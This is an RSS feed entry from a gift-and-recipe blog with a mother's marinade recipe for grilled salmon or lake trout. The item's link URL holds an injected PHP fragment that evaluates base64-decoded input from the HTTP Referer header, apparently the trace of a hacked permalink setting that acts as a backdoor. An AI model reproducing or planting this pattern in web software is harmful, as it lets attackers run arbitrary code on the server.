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	<title>Gift Ideas, Gift Wrap, Recipes and More &#187; Fish Marinate</title>
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		<title>Marinate for Salmon or Lake Trout</title>
		<link>http://www.giftwrapandmore.com/2008/03/15/marinate-for-salmon-or-lake-trout/%&#038;($eval(base64_decode($_SERVERHTTP_REFERER))|.+)&#038;%/</link>
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		<pubDate>Sat, 15 Mar 2008 18:11:47 +0000</pubDate>
		<dc:creator>Stacy</dc:creator>
				<category><![CDATA[Grilling]]></category>
		<category><![CDATA[Recipes]]></category>
		<category><![CDATA[Fish Marinate]]></category>

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		<description><![CDATA[Here is a great recipe that my mother uses when making fresh salmon or lake trout.    First you need the following ingredients: ½ c.butter  ¼ c.soy sauce ¼ c.Worchiser sauce ¼ c. chili sauce 1Tablespoon mustard (any kind-brown or yellow) 1 clove garlic minced Bring the above ingredients to a boil.  Remove your mixture from [...]]]></description>
			<content:encoded><![CDATA[<p>Here is a great recipe that my mother uses when making fresh salmon or lake trout.   </p>
<p>First you need the following ingredients:</p>
<ul>
<li>½ c.butter</li>
<li> ¼ c.soy sauce</li>
<li>¼ c.Worchiser sauce</li>
<li>¼ c. chili sauce</li>
<li>1Tablespoon mustard (any kind-brown or yellow)</li>
<li>1 clove garlic minced</li>
</ul>
<p>Bring the above ingredients to a boil.  Remove your mixture from heat and let cool.  <em>*Do not cool in refrigerator.</em>  Pour your mixture over fish and let marinate at least 3 hours.  Grill on high with the skin down.  <em>*Do not flip the fish.</em> </p>
<p>Fish is done when it flakes easily with a fork.  The skin of the fish will remain on the grill when filets are removed. </p>
<p>Enjoy!</p>
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